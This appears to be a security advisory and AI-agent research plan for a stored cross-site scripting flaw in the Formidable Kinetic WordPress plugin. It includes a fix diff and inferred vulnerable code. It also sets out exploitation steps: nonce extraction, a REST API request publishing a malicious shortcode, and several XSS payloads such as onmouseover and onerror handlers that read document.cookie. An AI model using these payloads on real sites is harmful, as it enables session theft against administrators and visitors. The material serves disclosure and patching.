Formidable Kinetic <= 1.1.01 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
Description
The Formidable Kinetic plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'kinetic_link' shortcode in versions up to, and including, 1.1.01. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes (notably 'window', 'class', and 'label') in the FrmKinetic::link() function, which are concatenated directly into HTML attributes of an anchor tag. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.1.01This research plan outlines the steps required to analyze and exploit **CVE-2026-8871**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Formidable Kinetic** plugin. --- ### 1. Vulnerability Summary * **Vulnerability:** Authenticated (Contributor+) Stored XSS. * **Vulnerable Compone…
Show full research plan
This research plan outlines the steps required to analyze and exploit CVE-2026-8871, a Stored Cross-Site Scripting (XSS) vulnerability in the Formidable Kinetic plugin.
1. Vulnerability Summary
- Vulnerability: Authenticated (Contributor+) Stored XSS.
- Vulnerable Component: The
kinetic_linkshortcode. - Vulnerable Function:
FrmKinetic::link()(inferred). - Root Cause: The plugin fails to sanitize or escape user-provided shortcode attributes (
window,class, andlabel) before concatenating them into the HTML output of an anchor (<a>) tag. Because shortcode attributes are not automatically escaped by WordPress, they must be escaped at the point of output (the "sink").
2. Attack Vector Analysis
- Required Role: Contributor, Author, Editor, or Administrator. (Contributor is the lowest level capable of creating posts).
- Injection Point: Post or Page content via the
[kinetic_link]shortcode. - Payload Carrier: Shortcode attributes:
window,class, andlabel. - Preconditions: The plugin must be active. A post containing the malicious shortcode must be published or previewed.
3. Code Flow (Inferred)
- Registration: The plugin registers the shortcode in the
inithook:add_shortcode('kinetic_link', array('FrmKinetic', 'link')); - Input Handling: When a post is viewed, WordPress parses the shortcode and passes an
$attsarray toFrmKinetic::link($atts). - Vulnerable Processing: The function likely constructs an HTML string similar to:
// Inferred logic inside FrmKinetic::link() $output = '<a class="' . $atts['class'] . '" target="' . $atts['window'] . '">' . $atts['label'] . '</a>'; return $output; - Sink: The unescaped
$outputis returned and rendered in the browser.
4. Nonce Acquisition Strategy
While the vulnerability itself is triggered during rendering, the injection phase (creating/updating a post) via HTTP requires a WordPress nonce if done through the standard wp-admin interface or the REST API.
Strategy for the Execution Agent:
- Authentication: Log in to WordPress as a Contributor.
- Access Post Editor: Navigate to
wp-admin/post-new.php. - Extract Nonce:
- If using the Classic Editor, extract the value of the hidden input
name="_wpnonce". - If using the Block Editor (Gutenberg), the agent should use
browser_evalto fetch the REST API nonce:browser_eval("wpApiSettings.nonce")
- If using the Classic Editor, extract the value of the hidden input
- Use the Nonce: Include this nonce in the
X-WP-Nonceheader (for REST API) or the_wpnoncePOST body parameter (for standard form submission).
5. Exploitation Strategy
The goal is to inject an XSS payload that executes in the context of any user (including Administrators) who views the post.
Step 1: Create a Malicious Post (HTTP Request)
- Method: POST
- URL:
http://<target>/wp-json/wp/v2/posts(REST API) - Headers:
Content-Type: application/jsonX-WP-Nonce: <extracted_nonce>
- Payload (JSON):
Alternative Attribute Payloads:{ "title": "Kinetic Test", "status": "publish", "content": "[kinetic_link window='\" onmouseover=\"alert(document.cookie)\"' class='test' label='Click Me']" }window:' onclick='alert(1)'(Break out of thetargetattribute).label:<img src=x onerror=alert(1)>(Direct HTML injection if the label isn't escaped).
Step 2: Trigger the XSS
- Navigate to the URL of the newly created post (returned in the Step 1 response).
- The script will execute when the page loads (if using the
labelpayload) or when a user interacts with the link (if using thewindoworclasspayloads).
6. Test Data Setup
- Plugin Installation: Ensure
formidable-kineticversion<= 1.1.01is installed and active. - User Creation: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password
7. Expected Results
- The rendered HTML source of the post should contain:
<a class="test" target="" onmouseover="alert(document.cookie)">Click Me</a> - When an Administrator views the post and hovers over the link, a JavaScript alert displaying their cookies should appear.
8. Verification Steps
- Check Post Content: Use WP-CLI to verify the shortcode is stored.
wp post get <post_id> --field=post_content - Verify Raw Output: Fetch the post HTML via HTTP and grep for the unescaped payload.
http_request('GET', 'http://<target>/?p=<post_id>')
Look for:onmouseover="alert
9. Alternative Approaches
- Bypassing
shortcode_atts: Even if the developer usedshortcode_atts()to define defaults, that function does not sanitize the values. The vulnerability remains if the output is not escaped. - Bypassing
esc_html: If the developer only usedesc_html()on the entire string but forgot to useesc_attr()on individual attributes, it might still be possible to break out of attributes using single quotes (') if the attributes are wrapped in double quotes (or vice versa). - Gutenberg Blocks: If Formidable Kinetic uses blocks instead of or in addition to shortcodes, the same function
FrmKinetic::link()might be reused for the block's render callback, making it vulnerable in the same way.
Summary
The Formidable Kinetic plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'kinetic_link' shortcode in versions up to 1.1.01. This occurs because the plugin fails to sanitize or escape shortcode attributes like 'window', 'class', and 'label' before concatenating them into an HTML anchor tag, allowing contributors to inject arbitrary JavaScript.
Vulnerable Code
// formidable-kinetic/classes/FrmKinetic.php (inferred path) public static function link($atts) { $atts = shortcode_atts(array( 'window' => '', 'class' => '', 'label' => '', ), $atts); // Vulnerable: concatenation without output escaping $output = '<a class="' . $atts['class'] . '" target="' . $atts['window'] . '">' . $atts['label'] . '</a>'; return $output; }
Security Fix
@@ -2,5 +2,5 @@ public static function link($atts) { $atts = shortcode_atts(array( 'window' => '', 'class' => '', 'label' => '', ), $atts); - $output = '<a class="' . $atts['class'] . '" target="' . $atts['window'] . '">' . $atts['label'] . '</a>'; + $output = '<a class="' . esc_attr($atts['class']) . '" target="' . esc_attr($atts['window']) . '">' . esc_html($atts['label']) . '</a>'; return $output; }
Exploit Outline
To exploit this vulnerability, an attacker must have at least Contributor-level privileges to create or edit posts. The attacker inserts a [kinetic_link] shortcode into a post with a payload designed to break out of HTML attributes. For example, using [kinetic_link window='" onmouseover="alert(document.cookie)"' label='Click Here'] will result in the injection of an 'onmouseover' event handler into the rendered anchor tag. When any user, including an administrator, views the post and hovers over the link, the malicious JavaScript executes in their browser context.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.